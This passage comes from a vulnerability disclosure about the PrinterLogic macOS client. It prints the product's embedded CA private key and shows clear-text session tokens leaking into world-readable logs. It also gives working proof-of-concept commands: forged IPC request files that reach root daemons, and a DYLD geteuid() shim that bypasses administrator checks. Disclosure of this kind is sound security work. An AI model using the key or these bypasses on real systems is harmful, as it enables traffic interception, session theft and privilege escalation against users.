    ocC5e+TosH3ISmcx/Y0rRYzKVOzW77v18ijozAKlG4usf/vPFaZD+72IaTM=
    -----END CERTIFICATE-----
    </setting> 
    [...]
        <setting name="cac_filter"/>
        <setting name="cac_issuers"/>
        <setting name="cac_subjects"/>
        <setting name="caPrivateKey">-----BEGIN PRIVATE KEY-----
    MIIJQwIBADANBgkqhkiG9w0BAQEFAASCCS0wggkpAgEAAoICAQCs4uTY7wGVIs14
    OPZnEx33WwXg3b5aAEEw6uTiwgutiZojUoAJ7hytkEK7KDOB1TL7/IphKmtJdkix
    LgZYiLtRjzejOeQNPNbvROg/TtBADTalWp6d7j3Sr8a6yz0lwbMYgdpmu1M9kxAg
    c10PX2tbjcnGfP2LQ5eXofHkkyvGtCaEo9RSs0DOLsIrK9Y6yctz+tKhYca0wPjI
    qp0IQBfHaCnskmqrWMlUU2PW9b3cIY96qCI1qvlIYBJwm49tC6Wq84BlkNHmZ/Fz
    7i56aAA6F9O46iODUrJvabwDs7N6MSuzoCatC4kciig85pr6jengpWbp3E6Z7ybo 
    [...]
    G3KOXALBOZOYykvJN1Q8v+dPmHE0qO4/t4Axz+NTtPbxd5k0AM9Lz7EfEspyrTau
    +J0lD0I+7GdKk4dwUbmjCrfNDpAAs0l9rmLZ8gYKa9olnVJPB04TQBAwqR6ymwKj
    LAECggEBANtxgXHp32BccvuzuNMd+Ep9RmfBHHSJTYSOlcdDh7U3j786JiYtLVxL
    T87iC9gVwkKqi71aXMziWEMzN4JobtQyfLQ+T5kHFzBsU0L8wV/9JNkqzASsm0N7
    ZhBMptDYB5TMgVy/KSALl1eyDi5z+YHe3tDU958c7OnkrhHu+qH6PMfLp3xziR6S
    a6+mSov2DwmlJJ+y5MvYSXhh5kg0xbulg/kr8jWY0hfopQGAHT2eUmlMaS3ZCxIk
    FqmTjGpNQnxLd+LS+YEKyjZsfs/5srqTzyVnn+D2TNeWpbinUESX3hQxXsdU5vDr
    2lS4nryEiEh2058Cq6Z4zsBtsjNgtAg=
    -----END PRIVATE KEY----- 

It is possible to confirm this private key is the private key of the public CA 
by checking modulus - they have the same modulus value:

    kali% openssl rsa -noout -modulus -in CA.key 
    
Modulus=ACE2E4D8EF019522CD7838F667131DF75B05E0DDBE5A004130EAE4E2C20BAD899A23528009EE1CAD9042BB283381D532FBFC8A612A6B497648B12E065888BB518F37A339E40D3CD6EF44E83F4ED0400D36A55A9E9DEE3DD2AFC6BACB3D25C1B31881DA66BB533D931020735D0F5F6B5B8DC9C67CFD8B439797A1F1E4932BC6B42684A3D452B340CE2EC22B2BD63AC9CB73FAD2A161C6B4C0F8C8AA9D084017C76829EC926AAB58C9545363D6F5BDDC218F7AA82235AAF9486012709B8F6D0BA5AAF3806590D1E667F173EE2E7A68003A17D3B8EA238352B26F69BC03B3B37A312BB3A026AD0B891C8A283CE69AFA8DE9E0A566E9DC4E99EF26E887E7D7F2C786998BB440DD7F8A9009E4F6790F2F51A06ECD03AEA1FC46035B1BA72F43A8DF0EAC662DCB2F22E5E42BED8B04F7AF2D10EE97007499DE30A3A6225D61FB2856D3563D5E7855FFDA3DB8D599D064471F524E01DF2944F7BC70BC454F2F1CDA8CA0D5737A23E6280C25FCCAD5C1C439F5CE01CBE0348DC190508E73506EAF7060129B63661AF1AE2EA2E4F7695B3A66772A501F33FF13A2947600C8425BC1E7F1B3E664C84A9A284ADAA3352F5C0C6A07991800CDD0DA207497673FAFE046522B57F8C20AC3E14B98F25BA07B58650D0F9CEEA234A41CD268E9507E53BDAB9B46FF0DB39875E3C1AA719376AF6C240A8C99D13D8F525F2E7037523F12CB9855AFBB
    kali% openssl x509 -noout -modulus -in CA.pem   
    
Modulus=ACE2E4D8EF019522CD7838F667131DF75B05E0DDBE5A004130EAE4E2C20BAD899A23528009EE1CAD9042BB283381D532FBFC8A612A6B497648B12E065888BB518F37A339E40D3CD6EF44E83F4ED0400D36A55A9E9DEE3DD2AFC6BACB3D25C1B31881DA66BB533D931020735D0F5F6B5B8DC9C67CFD8B439797A1F1E4932BC6B42684A3D452B340CE2EC22B2BD63AC9CB73FAD2A161C6B4C0F8C8AA9D084017C76829EC926AAB58C9545363D6F5BDDC218F7AA82235AAF9486012709B8F6D0BA5AAF3806590D1E667F173EE2E7A68003A17D3B8EA238352B26F69BC03B3B37A312BB3A026AD0B891C8A283CE69AFA8DE9E0A566E9DC4E99EF26E887E7D7F2C786998BB440DD7F8A9009E4F6790F2F51A06ECD03AEA1FC46035B1BA72F43A8DF0EAC662DCB2F22E5E42BED8B04F7AF2D10EE97007499DE30A3A6225D61FB2856D3563D5E7855FFDA3DB8D599D064471F524E01DF2944F7BC70BC454F2F1CDA8CA0D5737A23E6280C25FCCAD5C1C439F5CE01CBE0348DC190508E73506EAF7060129B63661AF1AE2EA2E4F7695B3A66772A501F33FF13A2947600C8425BC1E7F1B3E664C84A9A284ADAA3352F5C0C6A07991800CDD0DA207497673FAFE046522B57F8C20AC3E14B98F25BA07B58650D0F9CEEA234A41CD268E9507E53BDAB9B46FF0DB39875E3C1AA719376AF6C240A8C99D13D8F525F2E7037523F12CB9855AFBB
    kali%

Description of the CA:

    kali% openssl x509 -in CA.pem -text -noout
    Certificate:
        Data:
            Version: 3 (0x2)
            Serial Number: 0 (0x0)
            Signature Algorithm: sha512WithRSAEncryption
            Issuer: C = US, ST = Utah, L = St. George, O = PrinterLogic, OU = 
PrinterInstaller, CN = PrinterInstaller Certificate Authority
            Validity
                Not Before: Jun  8 01:09:11 2021 GMT
                Not After : Jun  3 01:09:11 2041 GMT
            Subject: C = US, ST = Utah, L = St. George, O = PrinterLogic, OU = 
PrinterInstaller, CN = PrinterInstaller Certificate Authority
            Subject Public Key Info:
                Public Key Algorithm: rsaEncryption
                    RSA Public-Key: (4096 bit)
                    Modulus:
    [...]
            X509v3 extensions:
                X509v3 Subject Key Identifier: 
                    E7:D5:61:DF:25:55:26:00:96:89:09:0C:B1:E2:8F:35:AD:E7:1B:16
                X509v3 Authority Key Identifier: 
                    
keyid:E7:D5:61:DF:25:55:26:00:96:89:09:0C:B1:E2:8F:35:AD:E7:1B:16
    
                X509v3 Basic Constraints: 
                    CA:TRUE, pathlen:0
        Signature Algorithm: sha512WithRSAEncryption
             33:d4:53:d0:d5:f0:08:45:b9:c3:3c:90:3c:17:da:af:84:74:

The program PrinterLogic may use this CA to transmit data securely.

It may allow an attacker to intercept data.



## Details - Incorrect permissions in /opt/PrinterInstallerClient/log

By default, the printer runs several daemons as root:

    user@laptop ~ % ps -ef | grep Printer
        0   102     1   0  6:20PM ??         0:00.02 sh 
/opt/PrinterInstallerClient/service_interface/run_service.sh
        0   157   102   0  6:20PM ??         2:22.44 
/opt/PrinterInstallerClient/service_interface/./PrinterInstallerClientService
        0 55296   157   0  7:19PM ??         0:00.65 
/opt/PrinterInstallerClient/service_interface/modules/PrinterLogicIdpAuthentication/PrinterLogicIdpAuthentication
 launch https://[redacted].printercloud10.com 0
        0 55974   157   0  7:22PM ??         0:00.16 
/opt/PrinterInstallerClient/service_interface/PrinterInstallerClient.app/Contents/MacOS/PrinterInstallerClient
 login
    user@laptop ~ %


These daemons will write logs in the directory 
`/opt/PrinterInstallerClient/log`.

The directory `/opt/PrinterInstallerClient/log` is `777`, allowing any user to 
add any file in this directory.

Listing of /opt/PrinterInstallerClient/log:

    sh-3.2# pwd
    /opt/PrinterInstallerClient/log
    sh-3.2# ls -la
    total 5976
    drwxrwxrwt  11 root  wheel      352 Dec  7 17:37 .
    drwxr-xr-x  13 root  wheel      416 Dec  7 16:53 ..
    -rw-r--r--   1 root  wheel       31 Dec  9 18:10 HOMEURL
    -rw-r--r--   1 root  wheel   122847 Dec  9 17:39 
PrinterLogicIdpAuthentication.log
    -rw-r--r--   1 root  wheel     2068 Dec  7 16:53 install.log
    -rw-rw-rwT   1 root  wheel    14141 Dec  9 17:39 interface.log
    -rw-r--r--   1 root  wheel     7927 Dec  9 17:36 launchd_service.log
    -rw-r--r--   1 root  wheel    27012 Dec  8 15:04 launchd_service_error.log
    -rw-r--r--   1 root  wheel  1177989 Dec  9 18:10 service.log
    -rw-r--r--   1 root  wheel   657784 Dec  9 18:10 service_info.log
    -rw-r--r--   1 root  wheel        2 Dec  9 17:36 service_last_exit
    sh-3.2#

The file` interface.log` is open to everyone (`666`), allowing adding random 
logs or erasing the logs:

    user@laptop log % ls -la interface.log  
    -rw-rw-rwT  1 root  wheel  23632 Dec  9 19:45 interface.log
    user@laptop log % tail -n 2 interface.log
    2021-12-09 19:42:44,952 (INFO): Done with command: PROGRESS
    2021-12-09 19:45:42,164 (INFO): Done with command: UPLOAD_DRIVER
    user@laptop log % echo > interface.log
    user@laptop log % ls -la interface.log
    -rw-rw-rwT  1 root  wheel  1 Dec  9 20:22 interface.log
    user@laptop log % tail -n 2 interface.log
    
    user@laptop log %

Any user can retrieve the logs, write custom files inside the logs directory or 
corrupt the logs.



## Details - Leak of secrets inside the logs

Because the logs are readable by any user, it is possible to extract clear-text 
authentication sessions using any local account.

As `executive` account. Sessions in clear-text in world-readable logs:

    executive@laptop log % grep SESS /opt/PrinterInstallerClient/log/*
    /opt/PrinterInstallerClient/log/service_info.log:Arguments: 
https:,[redacted].printercloud10.com,/,PHPSESSID=c72968d6e68d781a800528758029b232;XSRF-TOKEN=eyJpdiI6IltyZWRhY3RlZF0iLCJ2YWx1ZSI6IltyZWRhY3RlZF0iLCJtYWMiOiJbcmVkYWN0ZWRdIn0=;laravel_session=eyJpdiI6IltyZWRhY3RlZF0iLCJ2YWx1ZSI6IltyZWRhY3RlZF0iLCJtYWMiOiJbcmVkYWN0ZWRdIn0=;,printer,p972,,-1
    
    executive@laptop log % cat /opt/PrinterInstallerClient/log/service_info.log 
| grep Argu
    Arguments: 
https:,[redacted].printercloud10.com,/,PHPSESSID=c72968d6e68d781a800528758029b232;XSRF-TOKEN=eyJpdiI6IltyZWRhY3RlZF0iLCJ2YWx1ZSI6IltyZWRhY3RlZF0iLCJtYWMiOiJbcmVkYWN0ZWRdIn0=;,printer,p972,,-1
    Arguments: ["05DC94A40DD482C8C2BF3CEBCB9D96AF1639050072", 
"8BC83598876FA522B58B928F082961861639049891", {}]
    Arguments: ["4189DB18B395218DBF8F3CDA78C85B6B1639050252", 
"05DC94A40DD482C8C2BF3CEBCB9D96AF1639050072", {}]
    Arguments: ["A3BF377328A91D1623C828D4628648BF1639050432", 
"4189DB18B395218DBF8F3CDA78C85B6B1639050252", {}]
    Arguments: ["CB7C6C1E5C1CFD38E9C3447CA08033FD1639050612", 
"A3BF377328A91D1623C828D4628648BF1639050432", {}]
    [...]

These sessions can be retrieved by anyone using the computer.

Any local user can retrieve the sessions and login into the SaaS version of 
Vasion Print / PrinterLogic.



## Details - Lack of authentication of the communication between services

It was observed that communications between daemons are not protected, 
resulting in some interesting side effects. These inter-process communications 
are based on files.

By default, the programs use directories inside 
`/opt/PrinterInstallerClient/tmp` for inter-process communication. These 
directories are world-readable and world-writable:

Content of `/opt/PrinterInstallerClient/tmp`:

    executive@laptop tmp % pwd
    /opt/PrinterInstallerClient/tmp
    executive@laptop tmp % ls -la
    total 0
    drwxr-xr-x   9 root  wheel  288 Dec  7 16:53 .
    drwxr-xr-x  13 root  wheel  416 Dec  9 20:20 ..
    drwxrwxrwx   2 root  wheel   64 Dec  7 16:53 commands
    drwxr-xr-x   2 root  wheel   64 Dec  7 16:53 crl
    drwxr-xr-x  14 root  wheel  448 Dec  9 18:41 data
    drwxrwxrwt   2 root  wheel   64 Dec  9 20:41 requests
    drwxrwxrwt   3 root  wheel   96 Dec  9 18:40 responses
    drwxrwxrwt   2 root  wheel   64 Dec  9 20:41 scratch
    drwx------   2 root  wheel   64 Dec  9 19:29 state
    executive@laptop tmp %

Any user can create a file inside `/opt/PrinterInstallerClient/tmp/requests/` 
to create a new communication with process running as root.

For example, any user can start a browser on the local user session by creating 
a file inside `/opt/PrinterInstallerClient/tmp`:

    executive@laptop responses % (echo "OPEN_HOME_URL" ; echo -n 
"?www.google.com" | base64) > 
/opt/PrinterInstallerClient/tmp/requests/26TAjFzAlf-202112091901313

In the logs, we see a new task has been created:

    2021-12-09 20:53:45,882 (DEBUG): Processing request at 
'/opt/PrinterInstallerClient/tmp/requests/26TAjFzAlf-202112091901313'
    2021-12-09 20:53:45,883 (INFO): Received request: OPEN_HOME_URL
    2021-12-09 20:53:45,883 (INFO): Creating task:
    Command: 'OPEN_HOME_URL'
    Arguments: ?www.google.com
    User ID: 503
    Group ID: 20
    Use UI: True
    Origin: 'INTERFACE'
    2021-12-09 20:53:45,894 (INFO): Done with request: OPEN_HOME_URL

This will result in a new Safari popup for the user `user` with the address: 
`https:/[redacted].printercloud10.com/?www.google.com`

Browser started in the session of `user`:

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

Executive user ID is `503` but the process will be created as `user` (user ID 
`501`) - meaning the security separation between users has been broken.

Any local user can create specific actions that will be executed on other local 
sessions.

The entire security model of inter-process communication is broken.



## Details - Bypass of admin commands using IPC

By default, it is impossible to run some scripts to change the behavior of 
PrinterLogic. These scripts are located inside 
`/opt/PrinterInstallerClient/bin`.

Scripts inside `/opt/PrinterInstallerClient/bin`:

    user@laptop bin % pwd
    /opt/PrinterInstallerClient/bin
    user@laptop bin % ls -la
    total 544
    drwxr-xr-x  20 root  wheel     640 Dec  9 19:29 .
    drwxr-xr-x  13 root  wheel     416 Dec  9 20:20 ..
    -r--r--r--   1 root  wheel  204958 Dec  9 19:29 
PrinterLogic-Debug-20211209192951.zip
    -r-xr-x---   1 root  wheel     215 Mar  5  2021 ad_override_file.sh
    -r-xr-x---   1 root  wheel     269 Mar  5  2021 bundle_debug.sh
    -r-xr-x---   1 root  wheel     211 Mar  5  2021 configure_proxy.sh
    -r-xr-x---   1 root  wheel     165 Mar  5  2021 disable_home_url_security.sh
    -r-xr-x---   1 root  wheel     233 Mar  5  2021 
disable_ipp_queue_interpretation.sh
    -r-xr-x---   1 root  wheel     209 Mar  5  2021 disable_updates.sh
    -r-xr-x---   1 root  wheel     243 Mar  5  2021 ignore_certificate_errors.sh
    -r-xr-x---   1 root  wheel    3343 Mar  5  2021 install_fips_openssl.sh
    -r-xr-x---   1 root  wheel     214 Mar  5  2021 kerberos_timeout.sh
    -r-xr-x---   1 root  wheel     205 Mar  5  2021 lock_home_url.sh
    -r-xr-x---   1 root  wheel     188 Mar  5  2021 refresh.sh
    -r-xr-x---   1 root  wheel     725 Mar  5  2021 restart_service.sh
    -r-xr-x---   1 root  wheel     197 Mar  5  2021 set_home_url.sh
    -r-xr-x---   1 root  wheel     332 Mar  5  2021 toggle_debug_mode.sh
    -r-xr-x---   1 root  wheel    1559 Mar  5  2021 uninstall.sh
    -r-xr-x---   1 root  wheel     212 Mar  5  2021 use_authorization_code.sh
    -r-xr-x---   1 root  wheel     210 Mar  5  2021 user_from_file.sh
    user@laptop bin %

These scripts are not readable by normal user - only administrator users can 
read these scripts and it is impossible to execute these commands as normal 
user.

Content of `/opt/PrinterInstallerClient/bin/refresh.sh`:

[code:shell]
kali% cat refresh.sh 
#!/bin/bash

echo "Scheduling refresh"

set -e

echo "Creating request"
install_directory=`cat /etc/pl_dir`

"$install_directory/service_interface/./PrinterInstallerClientService" refresh
kali%
[/code]

Executing manually the command found in the shell script will result in a 
failure:

    user@laptop bin % 
/opt/PrinterInstallerClient/service_interface/./PrinterInstallerClientService 
refresh 
    Having root/administrator privileges is required to run this command
    user@laptop bin %

The executions of all the commands found in shell scripts inside 
`/opt/PrinterInstallerClient/bin` will be blocked:

    user@laptop bin % 
/opt/PrinterInstallerClient/service_interface/./PrinterInstallerClientService 
configure_proxy  manual 192.168.100.1:8080
    Having root/administrator privileges is required to run this command
    user@laptop bin % 
/opt/PrinterInstallerClient/service_interface/./PrinterInstallerClientService 
ad_override_file test
    Having root/administrator privileges is required to run this command
    user@laptop bin % 
/opt/PrinterInstallerClient/service_interface/./PrinterInstallerClientService 
bundle_debug
    Having root/administrator privileges is required to run this command
    user@laptop bin % 
/opt/PrinterInstallerClient/service_interface/./PrinterInstallerClientService 
disable_home_url_security true
    Having root/administrator privileges is required to run this command
    user@laptop bin % 
/opt/PrinterInstallerClient/service_interface/./PrinterInstallerClientService 
disable_ipp_queue_interpretation true      
    Having root/administrator privileges is required to run this command
    user@laptop bin % 
/opt/PrinterInstallerClient/service_interface/./PrinterInstallerClientService 
disable_updates true      
    Having root/administrator privileges is required to run this command
    user@laptop bin % 
/opt/PrinterInstallerClient/service_interface/./PrinterInstallerClientService 
ignore_certificate_errors true
    Having root/administrator privileges is required to run this command
    user@laptop bin % 
/opt/PrinterInstallerClient/service_interface/./PrinterInstallerClientService 
kerberos_timeout 10
    Having root/administrator privileges is required to run this command
    user@laptop bin % 
/opt/PrinterInstallerClient/service_interface/./PrinterInstallerClientService 
lock_home_url --unlock
    Having root/administrator privileges is required to run this command
    user@laptop bin % 
/opt/PrinterInstallerClient/service_interface/./PrinterInstallerClientService 
refresh
    Having root/administrator privileges is required to run this command
    user@laptop bin % 
/opt/PrinterInstallerClient/service_interface/./PrinterInstallerClientService 
set_home_url http 192.168.100.1
    Having root/administrator privileges is required to run this command
    user@laptop bin % 
/opt/PrinterInstallerClient/service_interface/./PrinterInstallerClientService 
toggle_debug_mode
    Having root/administrator privileges is required to run this command
    user@laptop bin % 
/opt/PrinterInstallerClient/service_interface/./PrinterInstallerClientService 
uninstall
    Having root/administrator privileges is required to run this command
    user@laptop bin % 
/opt/PrinterInstallerClient/service_interface/./PrinterInstallerClientService 
use_authorization_code 123
    Having root/administrator privileges is required to run this command
    user@laptop bin % 
/opt/PrinterInstallerClient/service_interface/./PrinterInstallerClientService 
user_from_file /etc/passwd
    Having root/administrator privileges is required to run this command

These commands are blocked.

Some additional commands appear to exist.

Commands using the `PrinterInstallerClientService` binary:

    executive@laptop bin % 
/opt/PrinterInstallerClient/service_interface/./PrinterInstallerClientService 
ad_override_file disable_ipp_queue_interpretation true
    usage: PrinterInstallerClientService [-h] 
{install,uninstall,preupgrade,bundle_debug,refresh,set_home_url,lock_home_url,disable_home_url_security,open_home_url,logout_idp_user,show_idp_authentication_app,open_print_job_management,show_secure_release_settings,use_authorization_code,disable_updates,user_from_file,ignore_certificate_errors,toggle_debug_mode,run_updater,disable_ipp_queue_interpretation,ad_override_file,samaccountname_override_file,configure_proxy,kerberos_timeout}

Using the Inter-process communication, it is possible to bypass these 
restrictions.

For example, `toggle_debug_mode` is blocked using command line but will work 
with IPC, even with a non-administrator account.

Enabling the debug mode as `user` user:

    user@laptop bin % echo -n 'TOGGLE_DEBUG_MODE'  > 
/opt/PrinterInstallerClient/tmp/requests/0gAds9DkaG9934-20211210191900

The logs confirm the debug mode has been enabled:

    2021-12-09 21:25:24,164 (DEBUG): Processing request at 
'/opt/PrinterInstallerClient/tmp/requests/0gAds9DkaG9934-20211210191900'
    2021-12-09 21:25:24,165 (INFO): Received request: TOGGLE_DEBUG_MODE
    2021-12-09 21:25:24,165 (INFO): Creating task:
    Command: 'TOGGLE_DEBUG_MODE'
    Arguments: 
    User ID: 501
    Group ID: 20
    Use UI: False
    Origin: 'INTERNAL'
    2021-12-09 21:25:24,167 (INFO): Turning on debug mode
    2021-12-09 21:25:24,167 (INFO): Done with request: TOGGLE_DEBUG_MODE
    2021-12-09 21:25:27,555 (INFO): CPU Usage since debug mode enabled (Top 50)
    2021-12-09 21:25:27,557 (INFO):          3 function calls (5 primitive 
calls) in 0.000 seconds

The logs will then be filed with a lot of detailed information with entire 
stack traces:

    2021-12-09 21:25:27,559 (INFO): Open Files in PrinterInstallerClientService 
(157)
    2021-12-09 21:25:27,561 (INFO): 
popenfile(path='/opt/PrinterInstallerClient/log/launchd_service.log', fd=1)
    2021-12-09 21:25:27,562 (INFO): 
popenfile(path='/opt/PrinterInstallerClient/log/launchd_service_error.log', 
fd=2)
    2021-12-09 21:25:27,563 (INFO): 
popenfile(path='/opt/PrinterInstallerClient/log/service.log', fd=3)
    2021-12-09 21:25:27,565 (INFO): 
popenfile(path='/opt/PrinterInstallerClient/log/service_info.log', fd=4)
    [...]
    2021-12-09 21:25:27,648 (INFO): 
printer_installer/client/service/process/debug/cpu_monitor.py:28: size=387 B, 
count=7, average=55 B
    2021-12-09 21:25:27,649 (INFO): 
/usr/local/python3.6/lib/python3.6/pstats.py:422: size=374 B, count=7, 
average=53 B
    2021-12-09 21:25:27,651 (INFO): psutil/__init__.py:1280: size=371 B, 
count=7, average=53 B
    2021-12-09 21:25:27,652 (INFO): 
/usr/local/python3.6/lib/python3.6/logging/__init__.py:809: size=348 B, 
count=7, average=50 B
    2021-12-09 21:25:27,654 (INFO): 
/usr/local/python3.6/lib/python3.6/logging/__init__.py:802: size=348 B, 
count=7, average=50 B
    2021-12-09 21:25:27,655 (INFO): 
/usr/local/python3.6/lib/python3.6/logging/__init__.py:822: size=347 B, 
count=7, average=50 B
    2021-12-09 21:25:27,656 (INFO): yappi.py:195: size=346 B, count=5, 
average=69 B
    [...]
    2021-12-09 21:25:28,146 (INFO): <RequestProcessor(Thread-185, started 
daemon 123145360580608)>, id: 4427604880, ident: 123145360580608, stack: 
      File "/usr/local/python3.6/lib/python3.6/threading.py", line 884, in 
_bootstrap
      File "/usr/local/python3.6/lib/python3.6/threading.py", line 916, in 
_bootstrap_inner
      File 
"printer_installer/client/service/process/scheduler/request_processor.py", line 
24, in run
      File 
"printer_installer/client/service/process/scheduler/request_processor.py", line 
28, in _run_raises
      File 
"printer_installer/client/service/process/scheduler/request_processor.py", line 
62, in _run
      File 
"printer_installer/client/service/process/scheduler/execute_tasks.py", line 12, 
in execute_tasks
      File "printer_installer/client/service/process/task/task.py", line 76, in 
call
      File "printer_installer/client/service/process/task/upload_driver.py", 
line 32, in _call
      File 
"printer_installer/client/service/connection/interface/upload_driver.py", line 
17, in upload_driver
      File 
"printer_installer/client/service/connection/interface/upload_driver.py", line 
23, in _run
      File 
"printer_installer/client/service/connection/interface/messenger.py", line 30, 
in read_message

The entire security model of inter-process communication is broken.



## Details - Authentication bypass on the PrinterInstallerClientService program

It is possible to perform administrative actions using `LD_PRELOAD` on 
`geteuid()`.

The program 
`/opt/PrinterInstallerClient/service_interface/PrinterInstallerClientService` 
requires root privileges:

    user@laptop /tmp % 
/opt/PrinterInstallerClient/service_interface/PrinterInstallerClientService 
bundle_debug
    Having root/administrator privileges is required to run this command

Bypass using `LD_PRELOAD` on `geteuid()` (from `command.pyc`):

    user@laptop /tmp % cat /tmp/test2.c 
    unsigned int geteuid() { return (0); }
    user@laptop /tmp % gcc -shared -fPIC -o test2.so test2.c 
    user@laptop /tmp % DYLD_INSERT_LIBRARIES=/tmp/test2.so 
DYLD_FORCE_FLAT_NAMESPACE=y 
/opt/PrinterInstallerClient/service_interface/PrinterInstallerClientService 
bundle_debug

And the bypass works, the `bundle_debug` mode has been enabled:

    2021-12-10 20:39:04,922 (DEBUG): Processing request at 
'/opt/PrinterInstallerClient/tmp/requests/0Zto9weDkF0zAfAD-20220119203904'
    2021-12-10 20:39:04,923 (INFO): Received request: BUNDLE_DEBUG
    2021-12-10 20:39:04,924 (INFO): Creating task:
    Command: 'BUNDLE_DEBUG'
    Arguments: 
    User ID: 501
    Group ID: 20
    Use UI: False
    Origin: 'INTERNAL'
    2021-12-10 20:39:05,923 (DEBUG): Processing request at 
'/opt/PrinterInstallerClient/tmp/requests/00Zto9weDkF0zAfAD-20220119203904'
    2021-12-10 20:39:05,924 (INFO): Received request: TOGGLE_DEBUG_MODE
    2021-12-10 20:39:05,925 (INFO): Creating task:
    Command: 'TOGGLE_DEBUG_MODE'
    Arguments: 
    User ID: 0
    Group ID: 0
    Use UI: False
    Origin: 'INTERNAL'
    2021-12-10 20:39:05,926 (INFO): Turning on debug mode
    2021-12-10 20:39:05,926 (INFO): Done with request: TOGGLE_DEBUG_MODE

We can now perform some of the administrative actions:

    user@laptop ~ % DYLD_INSERT_LIBRARIES=/tmp/test2.so 
DYLD_FORCE_FLAT_NAMESPACE=y 
/opt/PrinterInstallerClient/service_interface/PrinterInstallerClientService 
--help
    usage: PrinterInstallerClientService [-h]
                                         
{install,uninstall,preupgrade,bundle_debug,refresh,set_home_url,lock_home_url,disable_home_url_security,open_home_url,logout_idp_user,show_idp_authentication_app,open_print_job_management,show_secure_release_settings,use_authorization_code,disable_updates,user_from_file,ignore_certificate_errors,toggle_debug_mode,run_updater,disable_ipp_queue_interpretation,ad_override_file,samaccountname_override_file,configure_proxy,kerberos_timeout}
                                         ...
    
    positional arguments:
      
{install,uninstall,preupgrade,bundle_debug,refresh,set_home_url,lock_home_url,disable_home_url_security,open_home_url,logout_idp_user,show_idp_authentication_app,open_print_job_management,show_secure_release_settings,use_authorization_code,disable_updates,user_from_file,ignore_certificate_errors,toggle_debug_mode,run_updater,disable_ipp_queue_interpretation,ad_override_file,samaccountname_override_file,configure_proxy,kerberos_timeout}
    
    optional arguments:
      -h, --help            show this help message and exit
    user@laptop ~ % 

Some actions requiring write access to 
`/opt/PrinterInstallerClient/configuration.json` will fail:

    user@laptop service_interface % DYLD_INSERT_LIBRARIES=/tmp/test2.so 
DYLD_FORCE_FLAT_NAMESPACE=y ./PrinterInstallerClientService set_home_url http 
www2.google.com
    Error trying to run command: 
    Traceback (most recent call last):
      File "printer_installer/client/service/process/command.py", line 46, in 
handle
      File "printer_installer/client/service/process/command.py", line 170, in 
_handle
      File "/usr/local/python3.6/lib/python3.6/contextlib.py", line 82, in 
__enter__
      File "printer_installer/client/service/context.py", line 81, in 
configuration
      File "printer_installer/client/service/context.py", line 1015, in 
__enter__
      File "printer_installer/client/service/context.py", line 1027, in _load
    PermissionError: [Errno 13] Permission denied: 
'/opt/PrinterInstallerClient/configuration.json'
    
    During handling of the above exception, another exception occurred:
    
    Traceback (most recent call last):
      File "cx_Freeze/initscripts/__startup__.py", line 14, in run
      File "build-osx/init_script.py", line 38, in run
        exec(code, m.__dict__)
      File "printer_installer/client/service/main.py", line 166, in <module>
      File "printer_installer/client/service/process/command.py", line 52, in 
handle
      File "/usr/local/python3.6/lib/python3.6/traceback.py", line 169, in 
print_last
    ValueError: no last exception
    user@laptop service_interface % 

The entire security model of inter-process communication is broken.



## Details - Potential upload of new drivers

After reading some Python code found in the solution, the names of tasks used 
in APIs were identified.

The Python bytecode was converted back to Python using Uncompyle6 
(https://github.com/rocky/python-uncompyle6).

Identification of tasks used in APIs:

    kali% pwd
    
/home/user/laptop-mac/files-opt/PrinterInstallerClient/service_interface/lib/python3.6/printer_installer/client/service/process/task
    kali% grep request_name *.py | grep =
    acquire_active_oauth_token.pyc.py:    request_name = 
'ACQUIRE_ACTIVE_OAUTH_TOKEN'
    bundle_debug.pyc.py:    request_name = 'BUNDLE_DEBUG'
    default.pyc.py:    request_name = 'DEFAULT'
    edit_profile.pyc.py:    request_name = 'EDIT_PROFILE'
    get_context_menu_items.pyc.py:    request_name = 'GET_CONTEXT_MENU_ITEMS'
    get_security_info.pyc.py:    request_name = 'GET_SECURITY_INFO'
    get_security_info.pyc.py:        use_ui = self.context.origin != 
constants.internal_request_name
    get_security_info.pyc.py:            
logging.error((error.format(self.request_name)), exc_info=True)
    idp_direct_login.pyc.py:    request_name = 'IDP_DIRECT_LOGIN'
    idp_direct_login.pyc.py:        if self.context._origin == 
self.context.constants.interface_request_name:
    install_printer.pyc.py:    request_name = 'INSTALL_PRINTER'
    logout_idp_user.pyc.py:    request_name = 'LOGOUT_IDP_USER'
    logout_idp_user.pyc.py:        if self.context._origin == 
self.context.constants.interface_request_name:
    open_home_url.pyc.py:    request_name = 'OPEN_HOME_URL'
    open_print_job_management.pyc.py:    request_name = 
'OPEN_PRINT_JOB_MANAGEMENT'
    query_ip.pyc.py:    request_name = 'QUERY_IP'
    record_print_job.pyc.py:    request_name = 'RECORD_PRINT_JOB'
    refresh.pyc.py:    request_name = 'REFRESH'
    replace_driver.pyc.py:    request_name = 'REPLACE_DRIVER'
    send_gui_message.pyc.py:    request_name = 'SEND_GUI_MESSAGE'
    show_idp_authentication_app.pyc.py:    request_name = 
'SHOW_IDP_AUTHENTICATION_APP'
    show_idp_authentication_app.pyc.py:            if self.context._origin == 
self.context.constants.interface_request_name:
    show_secure_release_prompt.pyc.py:    request_name = 
'SHOW_SECURE_RELEASE_PROMPT'
    show_secure_release_settings.pyc.py:    request_name = 
'SHOW_SECURE_RELEASE_SETTINGS'
    task_by_name.pyc.py:task_by_name = {AcquireActiveOauthToken.request_name: 
AcquireActiveOauthToken,
    task.pyc.py:    request_name = None
    task.pyc.py:        data = cls.request_name.encode('utf-8') + b'\n'
    toggle_debug_mode.pyc.py:    request_name = 'TOGGLE_DEBUG_MODE'
    update_print_job_state.py:    request_name = 'UPDATE_PRINT_JOB_STATE'
    update_print_job_state.pyc.py:    request_name = 'UPDATE_PRINT_JOB_STATE'
    upload_driver.pyc.py:    request_name = 'UPLOAD_DRIVER'
    use_authorization_code.pyc.py:    request_name = 'USE_AUTHORIZATION_CODE'

Other tasks were identified in 
`PrinterInstallerClient/service_interface/lib/python3.6/printer_installer/client/service/process/command.py`
 (extracted from 
`PrinterInstallerClient/service_interface/lib/python3.6/printer_installer/client/service/process/command.pyc`
 using uncompyle6):

[code:python]
326     if command == 'IS_CLIENT_READY': # [1] command IS_CLIENT_READY
327         response = _DummyResponse(True, _BROWSER_INTERFACE_VERSION)
328     else:
329         if command == 'SET_CONFIGURATION': # [2] command SET_CONFIGURATION
330 
331             class _Task(task.Task):
332                 request_name = 'SET_CONFIGURATION' # [3] command 
